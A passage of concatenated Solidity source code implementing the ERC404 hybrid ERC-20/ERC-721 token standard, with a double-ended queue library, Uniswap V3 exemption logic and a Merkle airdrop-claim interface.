uniswapV2Factory_, address weth_ ) private view returns (address) { address thisAddress = address(this); (address token0, address token1) = thisAddress < weth_ ? (thisAddress, weth_) : (weth_, thisAddress); return address( uint160( uint256( keccak256( abi.encodePacked( hex"ff", uniswapV2Factory_, keccak256(abi.encodePacked(token0, token1)), hex"96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f" ) ) ) ) ); } }
pragma solidity ^0.8.20; interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be * reverted. * * The selector can be obtained in Solidity with `IERC721Receiver.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } interface IERC404 { error NotFound(); error InvalidTokenId(); error AlreadyExists(); error InvalidRecipient(); error InvalidSender(); error InvalidSpender(); error InvalidOperator(); error UnsafeRecipient(); error RecipientIsERC721TransferExempt(); error Unauthorized(); error InsufficientAllowance(); error DecimalsTooLow(); error PermitDeadlineExpired(); error InvalidSigner(); error InvalidApproval(); error OwnedIndexOverflow(); error MintLimitReached(); error InvalidExemption(); function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint256); function erc20TotalSupply() external view returns (uint256); function erc721TotalSupply() external view returns (uint256); function balanceOf(address owner_) external view returns (uint256); function erc721BalanceOf(address owner_) external view returns (uint256); function erc20BalanceOf(address owner_) external view returns (uint256); function erc721TransferExempt(address account_) external view returns (bool); function isApprovedForAll( address owner_, address operator_ ) external view returns (bool); function allowance( address owner_, address spender_ ) external view returns (uint256); function owned(address owner_) external view returns (uint256[] memory); function ownerOf(uint256 id_) external view returns (address erc721Owner); function tokenURI(uint256 id_) external view returns (string memory); function approve( address spender_, uint256 valueOrId_ ) external returns (bool); function erc20Approve( address spender_, uint256 value_ ) external returns (bool); function erc721Approve(address spender_, uint256 id_) external; function setApprovalForAll(address operator_, bool approved_) external; function transferFrom( address from_, address to_, uint256 valueOrId_ ) external returns (bool); function erc20TransferFrom( address from_, address to_, uint256 value_ ) external returns (bool); function erc721TransferFrom(address from_, address to_, uint256 id_) external; function transfer(address to_, uint256 amount_) external returns (bool); function getERC721QueueLength() external view returns (uint256); function getERC721TokensInQueue( uint256 start_, uint256 count_ ) external view returns (uint256[] memory); function setSelfERC721TransferExempt(bool state_) external; function safeTransferFrom(address from_, address to_, uint256 id_) external; function safeTransferFrom( address from_, address to_, uint256 id_, bytes calldata data_ ) external; function DOMAIN_SEPARATOR() external view returns (bytes32); function permit( address owner_, address spender_, uint256 value_, uint256 deadline_, uint8 v_, bytes32 r_, bytes32 s_ ) external; } library DoubleEndedQueue { /** * @dev An operation (e.g. {front}) couldn't be completed due to the queue being empty. */ error QueueEmpty(); /** * @dev A push operation couldn't be completed due to the queue being full. */ error QueueFull(); /** * @dev An operation (e.g. {at}) couldn't be completed due to an index being out of bounds. */ error QueueOutOfBounds(); /** * @dev Indices are 128 bits so begin and end are packed in a single storage slot for efficient access. * * Struct members have an underscore prefix indicating that they are "private" and should not be read or written to * directly. Use the functions provided below instead. Modifying the struct manually may violate assumptions and * lead to unexpected behavior. * * The first item is at data[begin] and the last item is at data[end - 1]. This range can wrap around. */ struct Uint256Deque { uint128 _begin; uint128 _end; mapping(uint128 index => uint256) _data; } /** * @dev Inserts an item at the end of the queue. * * Reverts with {QueueFull} if the queue is full. */ function pushBack(Uint256Deque storage deque, uint256 value) internal { unchecked { uint128 backIndex = deque._end; if (backIndex + 1 == deque._begin) revert QueueFull(); deque._data[backIndex] = value; deque._end = backIndex + 1; } } /** * @dev Removes the item at the end of the queue and returns it. * * Reverts with {QueueEmpty} if the queue is empty. */ function popBack( Uint256Deque storage deque ) internal returns (uint256 value) { unchecked { uint128 backIndex = deque._end; if (backIndex == deque._begin) revert QueueEmpty(); --backIndex; value = deque._data[backIndex]; delete deque._data[backIndex]; deque._end = backIndex; } } /** * @dev Inserts an item at the beginning of the queue. * * Reverts with {QueueFull} if the queue is full. */ function pushFront(Uint256Deque storage deque, uint256 value) internal { unchecked { uint128 frontIndex = deque._begin - 1; if (frontIndex == deque._end) revert QueueFull(); deque._data[frontIndex] = value; deque._begin = frontIndex; } } /** * @dev Removes the item at the beginning of the queue and returns it. * * Reverts with `QueueEmpty` if the queue is empty. */ function popFront( Uint256Deque storage deque ) internal returns (uint256 value) { unchecked { uint128 frontIndex = deque._begin; if (frontIndex == deque._end) revert QueueEmpty(); value = deque._data[frontIndex]; delete deque._data[frontIndex]; deque._begin = frontIndex + 1; } } /** * @dev Returns the item at the beginning of the queue. * * Reverts with `QueueEmpty` if the queue is empty. */ function front( Uint256Deque storage deque ) internal view returns (uint256 value) { if (empty(deque)) revert QueueEmpty(); return deque._data[deque._begin]; } /** * @dev Returns the item at the end of the queue. * * Reverts with `QueueEmpty` if the queue is empty. */ function back( Uint256Deque storage deque ) internal view returns (uint256 value) { if (empty(deque)) revert QueueEmpty(); unchecked { return deque._data[deque._end - 1]; } } /** * @dev Return the item at a position in the queue given by `index`, with the first item at 0 and last item at * `length(deque) - 1`. * * Reverts with `QueueOutOfBounds` if the index is out of bounds. */ function at( Uint256Deque storage deque, uint256 index ) internal view returns (uint256 value) { if (index >= length(deque)) revert QueueOutOfBounds(); // By construction, length is a uint128, so the check above ensures that index can be safely downcast to uint128 unchecked { return deque._data[deque._begin + uint128(index)]; } } /** * @dev Resets the queue back to being empty. * * NOTE: The current items are left behind in storage. This does not affect the functioning of the queue, but misses * out on potential gas refunds. */ function clear(Uint256Deque storage deque) internal { deque._begin = 0; deque._end = 0; } /** * @dev Returns the number of items in the queue. */ function length(Uint256Deque storage deque) internal view returns (uint256) { unchecked { return uint256(deque._end - deque._begin); } } /** * @dev Returns true if the queue is empty. */ function empty(Uint256Deque storage deque) internal view returns (bool) { return deque._end == deque._begin; } } library ERC721Events { event ApprovalForAll( address indexed owner, address indexed operator, bool approved ); event Approval( address indexed owner, address indexed spender, uint256 indexed id ); event Transfer(address indexed from, address indexed to, uint256 indexed id); } library ERC20Events { event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 amount); } abstract contract ERC404 is IERC404 { using DoubleEndedQueue for DoubleEndedQueue.Uint256Deque; /// @dev The queue of ERC-721 tokens stored in the contract. DoubleEndedQueue.Uint256Deque private _storedERC721Ids; /// @dev Token name string public name; /// @dev Token symbol string public symbol; /// @dev Decimals for ERC-20 representation uint8 public immutable decimals; /// @dev Units for ERC-20 representation uint256 public immutable units; /// @dev Total supply in ERC-20 representation uint256 public totalSupply; /// @dev Current mint counter which also represents the highest /// minted id, monotonically increasing to ensure accurate ownership uint256 public minted; /// @dev Initial chain id for EIP-2612 support uint256 internal immutable _INITIAL_CHAIN_ID; /// @dev Initial domain separator for EIP-2612 support bytes32 internal immutable _INITIAL_DOMAIN_SEPARATOR; /// @dev Balance of user in ERC-20 representation mapping(address => uint256) public balanceOf; /// @dev Allowance of user in ERC-20 representation mapping(address => mapping(address => uint256)) public allowance; /// @dev Approval in ERC-721 representaion mapping(uint256 => address) public getApproved; /// @dev Approval for all in ERC-721 representation mapping(address => mapping(address => bool)) public isApprovedForAll; /// @dev Packed representation of ownerOf and owned indices mapping(uint256 => uint256) internal _ownedData; /// @dev Array of owned ids in ERC-721 representation mapping(address => uint256[]) internal _owned; /// @dev Addresses that are exempt from ERC-721 transfer, typically for gas savings (pairs, routers, etc) mapping(address => bool) internal _erc721TransferExempt; /// @dev EIP-2612 nonces mapping(address => uint256) public nonces; /// @dev Address bitmask for packed ownership data uint256 private constant _BITMASK_ADDRESS = (1 << 160) - 1; /// @dev Owned index bitmask for packed ownership data uint256 private constant _BITMASK_OWNED_INDEX = ((1 << 96) - 1) << 160; /// @dev Constant for token id encoding uint256 public constant ID_ENCODING_PREFIX = 1 << 255; constructor(string memory name_, string memory symbol_, uint8 decimals_) { name = name_; symbol = symbol_; if (decimals_ < 18) { revert DecimalsTooLow(); } decimals = decimals_; units = 10 ** decimals; // EIP-2612 initialization _INITIAL_CHAIN_ID = block.chainid; _INITIAL_DOMAIN_SEPARATOR = _computeDomainSeparator(); } /// @notice Function to find owner of a given ERC-721 token function ownerOf( uint256 id_ ) public view virtual returns (address erc721Owner) { erc721Owner = _getOwnerOf(id_); if (!_isValidTokenId(id_)) { revert InvalidTokenId(); } if (erc721Owner == address(0)) { revert NotFound(); } } function owned( address owner_ ) public view virtual returns (uint256[] memory) { return _owned[owner_]; } function erc721BalanceOf( address owner_ ) public view virtual returns (uint256) { return _owned[owner_].length; } function erc20BalanceOf( address owner_ ) public view virtual returns (uint256) { return balanceOf[owner_]; } function erc20TotalSupply() public view virtual returns (uint256) { return totalSupply; } function erc721TotalSupply() public view virtual returns (uint256) { return minted; } function getERC721QueueLength() public view virtual returns (uint256) { return _storedERC721Ids.length(); } function getERC721TokensInQueue( uint256 start_, uint256 count_ ) public view virtual returns (uint256[] memory) { uint256[] memory tokensInQueue = new uint256[](count_); for (uint256 i = start_; i < start_ + count_; ) { tokensInQueue[i - start_] = _storedERC721Ids.at(i); unchecked { ++i; } } return tokensInQueue; } /// @notice tokenURI must be implemented by child contract function tokenURI(uint256 id_) public view virtual returns (string memory); /// @notice Function for token approvals /// @dev This function assumes the operator is attempting to approve /// an ERC-721 if valueOrId_ is a possibly valid ERC-721 token id. /// Unlike setApprovalForAll, spender_ must be allowed to be 0x0 so /// that approval can be revoked. function approve( address spender_, uint256 valueOrId_ ) public virtual returns (bool) { if (_isValidTokenId(valueOrId_)) { erc721Approve(spender_, valueOrId_); } else { return erc20Approve(spender_, valueOrId_); } return true; } function erc721Approve(address spender_, uint256 id_) public virtual { // Intention is to approve as ERC-721 token (id). address erc721Owner = _getOwnerOf(id_); if ( msg.sender != erc721Owner && !isApprovedForAll[erc721Owner][msg.sender] ) { revert Unauthorized(); } getApproved[id_] = spender_; emit ERC721Events.Approval(erc721Owner, spender_, id_); } /// @dev Providing type(uint256).max for approval value results in an /// unlimited approval that is not deducted from on transfers. function erc20Approve( address spender_, uint256 value_ ) public virtual returns (bool) { // Prevent granting 0x0 an ERC-20 allowance. if (spender_ == address(0)) { revert InvalidSpender(); } allowance[msg.sender][spender_] = value_; emit ERC20Events.Approval(msg.sender, spender_, value_); return true; } /// @notice Function for ERC-721 approvals function setApprovalForAll(address operator_, bool approved_) public virtual { // Prevent approvals to 0x0. if (operator_ == address(0)) { revert InvalidOperator(); } isApprovedForAll[msg.sender][operator_] = approved_; emit ERC721Events.ApprovalForAll(msg.sender, operator_, approved_); } /// @notice Function for mixed transfers from an operator that may be different than 'from'. /// @dev This function assumes the operator is attempting to transfer an ERC-721 /// if valueOrId is a possible valid token id. function transferFrom( address from_, address to_, uint256 valueOrId_ ) public virtual returns (bool) { if (_isValidTokenId(valueOrId_)) { erc721TransferFrom(from_, to_, valueOrId_); } else { // Intention is to transfer as ERC-20 token (value). return erc20TransferFrom(from_, to_, valueOrId_); } return true; } /// @notice Function for ERC-721 transfers from. /// @dev This function is recommended for ERC721 transfers. function erc721TransferFrom( address from_, address to_, uint256 id_ ) public virtual { // Prevent minting tokens from 0x0. if (from_ == address(0)) { revert InvalidSender(); } // Prevent burning tokens to 0x0. if (to_ == address(0)) { revert InvalidRecipient(); } if (from_ != _getOwnerOf(id_)) { revert Unauthorized(); } // Check that the operator is either the sender or approved for the transfer. if ( msg.sender != from_ && !isApprovedForAll[from_][msg.sender] && msg.sender != getApproved[id_] ) { revert Unauthorized(); } // We only need to check ERC-721 transfer exempt status for the recipient // since the sender being ERC-721 transfer exempt means they have already // had their ERC-721s stripped away during the rebalancing process. if (erc721TransferExempt(to_)) { revert RecipientIsERC721TransferExempt(); } // Transfer 1 * units ERC-20 and 1 ERC-721 token. // ERC-721 transfer exemptions handled above. Can't make it to this point if either is transfer exempt. _transferERC20(from_, to_, units); _transferERC721(from_, to_, id_); } /// @notice Function for ERC-20 transfers from. /// @dev This function is recommended for ERC20 transfers function erc20TransferFrom( address from_, address to_, uint256 value_ ) public virtual returns (bool) { // Prevent minting tokens from 0x0. if (from_ == address(0)) { revert InvalidSender(); } // Prevent burning tokens to 0x0. if (to_ == address(0)) { revert InvalidRecipient(); } uint256 allowed = allowance[from_][msg.sender]; // Check that the operator has sufficient allowance. if (allowed != type(uint256).max) { allowance[from_][msg.sender] = allowed - value_; } // Transferring ERC-20s directly requires the _transferERC20WithERC721 function. // Handles ERC-721 exemptions internally. return _transferERC20WithERC721(from_, to_, value_); } /// @notice Function for ERC-20 transfers. /// @dev This function assumes the operator is attempting to transfer as ERC-20 /// given this function is only supported on the ERC-20 interface. /// Treats even large amounts that are valid ERC-721 ids as ERC-20s. function transfer(address to_, uint256 value_) public virtual returns (bool) { // Prevent burning tokens to 0x0. if (to_ == address(0)) { revert InvalidRecipient(); } // Transferring ERC-20s directly requires the _transferERC20WithERC721 function. // Handles ERC-721 exemptions internally. return _transferERC20WithERC721(msg.sender, to_, value_); } /// @notice Function for ERC-721 transfers with contract support. /// This function only supports moving valid ERC-721 ids, as it does not exist on the ERC-20 /// spec and will revert otherwise. function safeTransferFrom( address from_, address to_, uint256 id_ ) public virtual { safeTransferFrom(from_, to_, id_, ""); } /// @notice Function for ERC-721 transfers with contract support and callback data. /// This function only supports moving valid ERC-721 ids, as it does not exist on the /// ERC-20 spec and will revert otherwise. function safeTransferFrom( address from_, address to_, uint256 id_, bytes memory data_ ) public virtual { if (!_isValidTokenId(id_)) { revert InvalidTokenId(); } transferFrom(from_, to_, id_); if ( to_.code.length != 0 && IERC721Receiver(to_).onERC721Received(msg.sender, from_, id_, data_) != IERC721Receiver.onERC721Received.selector ) { revert UnsafeRecipient(); } } /// @notice Function for EIP-2612 permits (ERC-20 only). /// @dev Providing type(uint256).max for permit value results in an /// unlimited approval that is not deducted from on transfers. function permit( address owner_, address spender_, uint256 value_, uint256 deadline_, uint8 v_, bytes32 r_, bytes32 s_ ) public virtual { if (deadline_ < block.timestamp) { revert PermitDeadlineExpired(); } // permit cannot be used for ERC-721 token approvals, so ensure // the value does not fall within the valid range of ERC-721 token ids. if (_isValidTokenId(value_)) { revert InvalidApproval(); } if (spender_ == address(0)) { revert InvalidSpender(); } unchecked { address recoveredAddress = ecrecover( keccak256( abi.encodePacked( "\x19\x01", DOMAIN_SEPARATOR(), keccak256( abi.encode( keccak256( "Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)" ), owner_, spender_, value_, nonces[owner_]++, deadline_ ) ) ) ), v_, r_, s_ ); if (recoveredAddress == address(0) || recoveredAddress != owner_) { revert InvalidSigner(); } allowance[recoveredAddress][spender_] = value_; } emit ERC20Events.Approval(owner_, spender_, value_); } /// @notice Returns domain initial domain separator, or recomputes if chain id is not equal to initial chain id function DOMAIN_SEPARATOR() public view virtual returns (bytes32) { return block.chainid == _INITIAL_CHAIN_ID ? _INITIAL_DOMAIN_SEPARATOR : _computeDomainSeparator(); } function supportsInterface( bytes4 interfaceId ) public view virtual returns (bool) { return interfaceId == type(IERC404).interfaceId || interfaceId == type(IERC165).interfaceId; } /// @notice Function for self-exemption function setSelfERC721TransferExempt(bool state_) public virtual { _setERC721TransferExempt(msg.sender, state_); } /// @notice Function to check if address is transfer exempt function erc721TransferExempt( address target_ ) public view virtual returns (bool) { return target_ == address(0) || _erc721TransferExempt[target_]; } /// @notice For a token token id to be considered valid, it just needs /// to fall within the range of possible token ids, it does not /// necessarily have to be minted yet. function _isValidTokenId(uint256 id_) internal pure returns (bool) { return id_ > ID_ENCODING_PREFIX && id_ != type(uint256).max; } /// @notice Internal function to compute domain separator for EIP-2612 permits function _computeDomainSeparator() internal view virtual returns (bytes32) { return keccak256( abi.encode( keccak256( "EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)" ), keccak256(bytes(name)), keccak256("1"), block.chainid, address(this) ) ); } /// @notice This is the lowest level ERC-20 transfer function, which /// should be used for both normal ERC-20 transfers as well as minting. /// Note that this function allows transfers to and from 0x0. function _transferERC20( address from_, address to_, uint256 value_ ) internal virtual { // Minting is a special case for which we should not check the balance of // the sender, and we should increase the total supply. if (from_ == address(0)) { totalSupply += value_; } else { // Deduct value from sender's balance. balanceOf[from_] -= value_; } // Update the recipient's balance. // Can be unchecked because on mint, adding to totalSupply is checked, and on transfer balance deduction is checked. unchecked { balanceOf[to_] += value_; } emit ERC20Events.Transfer(from_, to_, value_); } /// @notice Consolidated record keeping function for transferring ERC-721s. /// @dev Assign the token to the new owner, and remove from the old owner. /// Note that this function allows transfers to and from 0x0. /// Does not handle ERC-721 exemptions. function _transferERC721( address from_, address to_, uint256 id_ ) internal virtual { // If this is not a mint, handle record keeping for transfer from previous owner. if (from_ != address(0)) { // On transfer of an NFT, any previous approval is reset. delete getApproved[id_]; uint256 updatedId = _owned[from_][_owned[from_].length - 1]; if (updatedId != id_) { uint256 updatedIndex = _getOwnedIndex(id_); // update _owned for sender _owned[from_][updatedIndex] = updatedId; // update index for the moved id _setOwnedIndex(updatedId, updatedIndex); } // pop _owned[from_].pop(); } // Check if this is a burn. if (to_ != address(0)) { // If not a burn, update the owner of the token to the new owner. // Update owner of the token to the new owner. _setOwnerOf(id_, to_); // Push token onto the new owner's stack. _owned[to_].push(id_); // Update index for new owner's stack. _setOwnedIndex(id_, _owned[to_].length - 1); } else { // If this is a burn, reset the owner of the token to 0x0 by deleting the token from _ownedData. delete _ownedData[id_]; } emit ERC721Events.Transfer(from_, to_, id_); } /// @notice Internal function for ERC-20 transfers. Also handles any ERC-721 transfers that may be required. // Handles ERC-721 exemptions. function _transferERC20WithERC721( address from_, address to_, uint256 value_ ) internal virtual returns (bool) { uint256 erc20BalanceOfSenderBefore = erc20BalanceOf(from_); uint256 erc20BalanceOfReceiverBefore = erc20BalanceOf(to_); _transferERC20(from_, to_, value_); // Preload for gas savings on branches bool isFromERC721TransferExempt = erc721TransferExempt(from_); bool isToERC721TransferExempt = erc721TransferExempt(to_); // Skip _withdrawAndStoreERC721 and/or _retrieveOrMintERC721 for ERC-721 transfer exempt addresses // 1) to save gas // 2) because ERC-721 transfer exempt addresses won't always have/need ERC-721s corresponding to their ERC20s. if (isFromERC721TransferExempt && isToERC721TransferExempt) { // Case 1) Both sender and recipient are ERC-721 transfer exempt. No ERC-721s need to be transferred. // NOOP. } else if (isFromERC721TransferExempt) { // Case 2) The sender is ERC-721 transfer exempt, but the recipient is not. Contract should not attempt // to transfer ERC-721s from the sender, but the recipient should receive ERC-721s // from the bank/minted for any whole number increase in their balance. // Only cares about whole number increments. uint256 tokensToRetrieveOrMint = (balanceOf[to_] / units) - (erc20BalanceOfReceiverBefore / units); for (uint256 i = 0; i < tokensToRetrieveOrMint; ) { _retrieveOrMintERC721(to_); unchecked { ++i; } } } else if (isToERC721TransferExempt) { // Case 3) The sender is not ERC-721 transfer exempt, but the recipient is. Contract should attempt // to withdraw and store ERC-721s from the sender, but the recipient should not // receive ERC-721s from the bank/minted. // Only cares about whole number increments. uint256 tokensToWithdrawAndStore = (erc20BalanceOfSenderBefore / units) - (balanceOf[from_] / units); for (uint256 i = 0; i < tokensToWithdrawAndStore; ) { _withdrawAndStoreERC721(from_); unchecked { ++i; } } } else { // Case 4) Neither the sender nor the recipient are ERC-721 transfer exempt. // Strategy: // 1. First deal with the whole tokens. These are easy and will just be transferred. // 2. Look at the fractional part of the value: // a) If it causes the sender to lose a whole token that was represented by an NFT due to a // fractional part being transferred, withdraw and store an additional NFT from the sender. // b) If it causes the receiver to gain a whole new token that should be represented by an NFT // due to receiving a fractional part that completes a whole token, retrieve or mint an NFT to the recevier. // Whole tokens worth of ERC-20s get transferred as ERC-721s without any burning/minting. uint256 nftsToTransfer = value_ / units; for (uint256 i = 0; i < nftsToTransfer; ) { // Pop from sender's ERC-721 stack and transfer them (LIFO) uint256 indexOfLastToken = _owned[from_].length - 1; uint256 tokenId = _owned[from_][indexOfLastToken]; _transferERC721(from_, to_, tokenId); unchecked { ++i; } } // If the transfer changes either the sender or the recipient's holdings from a fractional to a non-fractional // amount (or vice versa), adjust ERC-721s. // First check if the send causes the sender to lose a whole token that was represented by an ERC-721 // due to a fractional part being transferred. // // Process: // Take the difference between the whole number of tokens before and after the transfer for the sender. // If that difference is greater than the number of ERC-721s transferred (whole units), then there was // an additional ERC-721 lost due to the fractional portion of the transfer. // If this is a self-send and the before and after balances are equal (not always the case but often), // then no ERC-721s will be lost here. if ( erc20BalanceOfSenderBefore / units - erc20BalanceOf(from_) / units > nftsToTransfer ) { _withdrawAndStoreERC721(from_); } // Then, check if the transfer causes the receiver to gain a whole new token which requires gaining // an additional ERC-721. // // Process: // Take the difference between the whole number of tokens before and after the transfer for the recipient. // If that difference is greater than the number of ERC-721s transferred (whole units), then there was // an additional ERC-721 gained due to the fractional portion of the transfer. // Again, for self-sends where the before and after balances are equal, no ERC-721s will be gained here. if ( erc20BalanceOf(to_) / units - erc20BalanceOfReceiverBefore / units > nftsToTransfer ) { _retrieveOrMintERC721(to_); } } return true; } /// @notice Internal function for ERC20 minting /// @dev This function will allow minting of new ERC20s. /// If mintCorrespondingERC721s_ is true, and the recipient is not ERC-721 exempt, it will /// also mint the corresponding ERC721s. /// Handles ERC-721 exemptions. function _mintERC20(address to_, uint256 value_) internal virtual { /// You cannot mint to the zero address (you can't mint and immediately burn in the same transfer). if (to_ == address(0)) { revert InvalidRecipient(); } if (totalSupply + value_ > ID_ENCODING_PREFIX) { revert MintLimitReached(); } _transferERC20WithERC721(address(0), to_, value_); } /// @notice Internal function for ERC-721 minting and retrieval from the bank. /// @dev This function will allow minting of new ERC-721s up to the total fractional supply. It will /// first try to pull from the bank, and if the bank is empty, it will mint a new token. /// Does not handle ERC-721 exemptions. function _retrieveOrMintERC721(address to_) internal virtual { if (to_ == address(0)) { revert InvalidRecipient(); } uint256 id; if (!_storedERC721Ids.empty()) { // If there are any tokens in the bank, use those first. // Pop off the end of the queue (FIFO). id = _storedERC721Ids.popBack(); } else { // Otherwise, mint a new token, should not be able to go over the total fractional supply. ++minted; // Reserve max uint256 for approvals if (minted == type(uint256).max) { revert MintLimitReached(); } id = ID_ENCODING_PREFIX + minted; } address erc721Owner = _getOwnerOf(id); // The token should not already belong to anyone besides 0x0 or this contract. // If it does, something is wrong, as this should never happen. if (erc721Owner != address(0)) { revert AlreadyExists(); } // Transfer the token to the recipient, either transferring from the contract's bank or minting. // Does not handle ERC-721 exemptions. _transferERC721(erc721Owner, to_, id); } /// @notice Internal function for ERC-721 deposits to bank (this contract). /// @dev This function will allow depositing of ERC-721s to the bank, which can be retrieved by future minters. // Does not handle ERC-721 exemptions. function _withdrawAndStoreERC721(address from_) internal virtual { if (from_ == address(0)) { revert InvalidSender(); } // Retrieve the latest token added to the owner's stack (LIFO). uint256 id = _owned[from_][_owned[from_].length - 1]; // Transfer to 0x0. // Does not handle ERC-721 exemptions. _transferERC721(from_, address(0), id); // Record the token in the contract's bank queue. _storedERC721Ids.pushFront(id); } /// @notice Initialization function to set pairs / etc, saving gas by avoiding mint / burn on unnecessary targets function _setERC721TransferExempt( address target_, bool state_ ) internal virtual { if (target_ == address(0)) { revert InvalidExemption(); } // Adjust the ERC721 balances of the target to respect exemption rules. // Despite this logic, it is still recommended practice to exempt prior to the target // having an active balance. if (state_) { _clearERC721Balance(target_); } else { _reinstateERC721Balance(target_); } _erc721TransferExempt[target_] = state_; } /// @notice Function to reinstate balance on exemption removal function _reinstateERC721Balance(address target_) private { uint256 expectedERC721Balance = erc20BalanceOf(target_) / units; uint256 actualERC721Balance = erc721BalanceOf(target_); for (uint256 i = 0; i < expectedERC721Balance - actualERC721Balance; ) { // Transfer ERC721 balance in from pool _retrieveOrMintERC721(target_); unchecked { ++i; } } } /// @notice Function to clear balance on exemption inclusion function _clearERC721Balance(address target_) private { uint256 erc721Balance = erc721BalanceOf(target_); for (uint256 i = 0; i < erc721Balance; ) { // Transfer out ERC721 balance _withdrawAndStoreERC721(target_); unchecked { ++i; } } } function _getOwnerOf( uint256 id_ ) internal view virtual returns (address ownerOf_) { uint256 data = _ownedData[id_]; assembly { ownerOf_ := and(data, _BITMASK_ADDRESS) } } function _setOwnerOf(uint256 id_, address owner_) internal virtual { uint256 data = _ownedData[id_]; assembly { data := add( and(data, _BITMASK_OWNED_INDEX), and(owner_, _BITMASK_ADDRESS) ) } _ownedData[id_] = data; } function _getOwnedIndex( uint256 id_ ) internal view virtual returns (uint256 ownedIndex_) { uint256 data = _ownedData[id_]; assembly { ownedIndex_ := shr(160, data) } } function _setOwnedIndex(uint256 id_, uint256 index_) internal virtual { uint256 data = _ownedData[id_]; if (index_ > _BITMASK_OWNED_INDEX >> 160) { revert OwnedIndexOverflow(); } assembly { data := add( and(data, _BITMASK_ADDRESS), and(shl(160, index_), _BITMASK_OWNED_INDEX) ) } _ownedData[id_] = data; } } interface IPeripheryImmutableState { /// @return Returns the address of the Uniswap V3 factory function factory() external view returns (address); /// @return Returns the address of WETH9 function WETH9() external view returns (address); } //SPDX-License-Identifier: MIT abstract contract ERC404UniswapV3Exempt is ERC404 { error ERC404UniswapV3ExemptFactoryMismatch(); error ERC404UniswapV3ExemptWETH9Mismatch(); constructor( address uniswapV3Router_, address uniswapV3NonfungiblePositionManager_ ) { IPeripheryImmutableState uniswapV3Router = IPeripheryImmutableState( uniswapV3Router_ ); // Set the Uniswap v3 swap router as exempt. _setERC721TransferExempt(uniswapV3Router_, true); IPeripheryImmutableState uniswapV3NonfungiblePositionManager = IPeripheryImmutableState( uniswapV3NonfungiblePositionManager_ ); // Set the Uniswap v3 nonfungible position manager as exempt. _setERC721TransferExempt(uniswapV3NonfungiblePositionManager_, true); // Require the Uniswap v3 factory from the position manager and the swap router to be the same. if ( uniswapV3Router.factory() != uniswapV3NonfungiblePositionManager.factory() ) { revert ERC404UniswapV3ExemptFactoryMismatch(); } // Require the Uniswap v3 WETH9 from the position manager and the swap router to be the same. if ( uniswapV3Router.WETH9() != uniswapV3NonfungiblePositionManager.WETH9() ) { revert ERC404UniswapV3ExemptWETH9Mismatch(); } uint24[4] memory feeTiers = [ uint24(100), uint24(500), uint24(3_000), uint24(10_000) ]; // Determine the Uniswap v3 pair address for this token. for (uint256 i = 0; i < feeTiers.length; ) { address uniswapV3Pair = _getUniswapV3Pair( uniswapV3Router.factory(), uniswapV3Router.WETH9(), feeTiers[i] ); // Set the Uniswap v3 pair as exempt. _setERC721TransferExempt(uniswapV3Pair, true); unchecked { ++i; } } } function _getUniswapV3Pair( address uniswapV3Factory_, address weth_, uint24 fee_ ) private view returns (address) { address thisAddress = address(this); (address token0, address token1) = thisAddress < weth_ ? (thisAddress, weth_) : (weth_, thisAddress); return address( uint160( uint256( keccak256( abi.encodePacked( hex"ff", uniswapV3Factory_, keccak256(abi.encode(token0, token1, fee_)), hex"e34f199b19b2b4f47f68442619d555527d244f78a3297ea89325f843f87b8b54" ) ) ) ) ); } }
pragma solidity ^0.8.20; //SPDX-License-Identifier: MIT interface IERC404MerkleClaim { error AirdropAlreadyClaimed(); error NotEligibleForAirdrop(); error AirdropIsClosed(); function verifyProof( bytes32[] memory proof_, address claimer_, uint256 value_ ) external view returns (bool); function airdropMint(bytes32[] memory proof_, uint256 value_) external; }
//SPDX-License-Identifier: MIT pragma solidity ^0.8.20; interface IERC404 { error NotFound(); error InvalidTokenId(); error AlreadyExists(); error InvalidRecipient(); error InvalidSender(); error InvalidSpender(); error InvalidOperator(); error UnsafeRecipient(); error RecipientIsERC721TransferExempt(); error Unauthorized(); error InsufficientAllowance(); error DecimalsTooLow(); error PermitDeadlineExpired(); error InvalidSigner(); error InvalidApproval(); error OwnedIndexOverflow(); error MintLimitReached(); error InvalidExemption(); function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint256); function erc20TotalSupply() external view returns (uint256); function erc721TotalSupply() external view returns (uint256); function balanceOf(address owner_) external view returns (uint256); function erc721BalanceOf(address owner_) external view returns (uint256); function erc20BalanceOf(address owner_) external view returns (uint256); function erc721TransferExempt(address account_) external view returns (bool); function isApprovedForAll( address owner_, address operator_ ) external view returns (bool); function allowance( address owner_, address spender_ ) external view returns (uint256); function owned(address owner_) external view returns (uint256[] memory); function ownerOf(uint256 id_) external view returns (address erc721Owner); function tokenURI(uint256 id_) external view returns (string memory); function approve( address spender_, uint256 valueOrId_ ) external returns (bool); function erc20Approve( address spender_, uint256 value_ ) external returns (bool); function erc721Approve(address spender_, uint256 id_) external; function setApprovalForAll(address operator_, bool approved_) external; function transferFrom( address from_, address to_, uint256 valueOrId_ ) external returns (bool); function erc20TransferFrom( address from_, address to_, uint256 value_ ) external returns (bool); function erc721TransferFrom(address from_, address to_, uint256 id_) external; function transfer(address to_, uint256 amount_) external returns (bool); function getERC721QueueLength() external view returns (uint256); function getERC721TokensInQueue( uint256 start_, uint256 count_ ) external view returns (uint256[] memory); function setSelfERC721TransferExempt(bool state_) external; function safeTransferFrom(address from_, address to_, uint256 id_) external; function safeTransferFrom( address from_, address to_, uint256 id_, bytes calldata data_ ) external; function DOMAIN_SEPARATOR() external view returns (bytes32); function permit( address owner_, address spender_, uint256 value_, uint256 deadline_, uint8 v_, bytes32 r_, bytes32 s_ ) external; }
